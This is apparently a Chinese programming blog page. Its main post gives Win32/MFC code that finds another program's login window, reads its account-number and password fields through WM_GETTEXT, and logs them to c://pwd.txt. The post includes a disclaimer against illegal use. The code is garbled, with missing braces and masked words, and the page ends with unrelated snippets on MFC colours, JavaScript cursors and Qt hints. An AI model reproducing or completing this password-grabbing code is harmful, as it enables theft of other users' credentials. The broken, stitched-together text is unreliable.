擷取其他程式文字框和密碼框內容的一種實現方法

2021-03-31 14:36:31 字數 1071 閱讀 7866

關於findwindowex和enumchildwindows結合列舉任何乙個控制項的簡單示例,以下**以現在最為流行的**為例,只拋磚引玉~~呵呵

申明:本文章僅從技術角度討論這兩個函式的使用方法,任何人可以自由傳播/複製,但不得用做其他非法用途,否則責任自負.

bool callback enum**childproc(hwnd hwndchild, lparam lparam)

else

if(editpwdhwnd==null)

return true;

}//通過wm_gettext取得,視窗中的文字;

sendmessage(editnumhwnd,wm_gettext,(wparam)11,(lparam)num);

sendmessage(editpwdhwnd,wm_gettext,(wparam)20,(lparam)pwd);

//記錄號碼和密碼

cstring str;

str.format("/r/n號碼:%s  密碼:%s",num,pwd);

cfile f;

f.open("c://pwd.txt",cfile::modecreate|cfile::modewrite|cfile::modenotruncate);

f.seektoend();

f.write(str,str.getlength());

bloop= false;

return false;

return true;

} bool callback enumchildproc(hwnd hwndchild, lparam lparam)

return true;

} //呼叫的**:

hwnd hwnd=null;//::findwindow((lpcstr)"#32770",null);

hwnd afterhwnd = null;

while(!bfind**)//bfind**是乙個全域性變數,標誌是否找到了**視窗

if(bfind**)

enumchildwindows(hwnd,enum**childproc,null);

MFC程式 更改 文字框 控制項背景

下面的例子是將應用程式對 話框設定為藍色背景和紅色文字 對於分布在對話方塊上的控制項,我們可以修改其顏色 其背景顏色,比如對靜態文字 文字編輯框 列表框等等。過載onctlcolor cdc pdc,cwnd pwnd,uint nctlcolor 即wm ctlcolor訊息。具體步驟如下 以上例...

Javascript設定和獲取文字框滑鼠位置

最近在csdn問答板塊看到了乙個問題 如何實現textarea中輸入 在右下方出現乙個提示框?主要難點是游標所在的位置,網上找了下,大多是獲取游標所在的字元位數,而不是距離開頭的寬高,所以捨棄。但是本文還是需要這個技術,來判斷游標是不是在文字最後。輸入框獲取游標 function getpositi...

qt 程式顯示文字框 Qt為輸入框提供提示資訊

當我們在使用乙個陌生的軟體時常常會感覺不知所措,因此在寫軟體的時候都要考慮增加一些資訊來幫助使用者。比如說提供文字標籤來告訴使用者某一塊區域的作用是什麼。又或者乾脆用一塊區域滾動顯示一些提示。但這裡要說的是一種很常見又有用的提示方式,在輸入框的內部提示 該輸入框需要輸入什麼內容。如圖所示在輸入框的內...